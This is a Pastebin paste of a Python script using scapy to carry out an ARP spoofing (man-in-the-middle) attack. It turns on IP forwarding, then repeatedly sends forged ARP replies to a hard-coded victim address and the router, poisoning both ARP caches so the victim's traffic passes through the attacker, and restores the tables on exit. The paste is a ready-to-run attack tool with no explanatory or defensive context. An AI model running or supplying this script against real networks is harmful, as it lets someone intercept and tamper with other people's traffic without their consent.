Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import os
- from scapy.all import *
- from scapy.layers.l2 import Ether, ARP
- def getMAC(ip, interface):
- return srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, iface=interface)[0][0][1][ARP].hwsrc
- def setIPForwarding(toggle):
- if toggle == True:
- os.system('sysctl -w net.inet.ip.forwarding=1')
- else:
- os.system('sysctl -w net.inet.ip.forwarding=0')
- def attack(victimIP, victimMAC, routerIP, routerMAC):
- send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
- send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
- def restore(victimIP, victimMAC, routerIP, routerMAC):
- send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC))
- send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC))
- victimIP = "192.168.10.101"
- routerIP = "192.168.10.1"
- setIPForwarding(True)
- try:
- victimMAC = "ac:bc:32:79:45:05" #getMAC(victimIP, "enp3s0")
- except Exception as e:
- setIPForwarding(False)
- print("~!~Error getting victim MAC...")
- print(e)
- sys.exit(1)
- try:
- routerMAC = getMAC(routerIP, "enp3s0")
- except Exception as e:
- setIPForwarding(False)
- print("~!~Error getting router MAC...")
- print(e)
- sys.exit(1)
- counter = 0
- while True:
- counter = counter + 1
- if counter > 10:
- restore(victimIP, victimMAC, routerIP, routerMAC)
- print("ARP table restored!")
- setIPForwarding(False)
- sys.exit(1)
- try:
- try:
- attack(victimIP, victimMAC, routerIP, routerMAC)
- print("ARP spoof sent to " + victimIP + " and " + routerIP)
- time.sleep(2)
- except Exception as e:
- print("Failed to hack")
- print(e)
- setIPForwarding(False)
- sys.exit(1)
- except KeyboardInterrupt:
- restore(victimIP, victimMAC, routerIP, routerMAC)
- print("ARP table restored!")
- setIPForwarding(False)
- sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement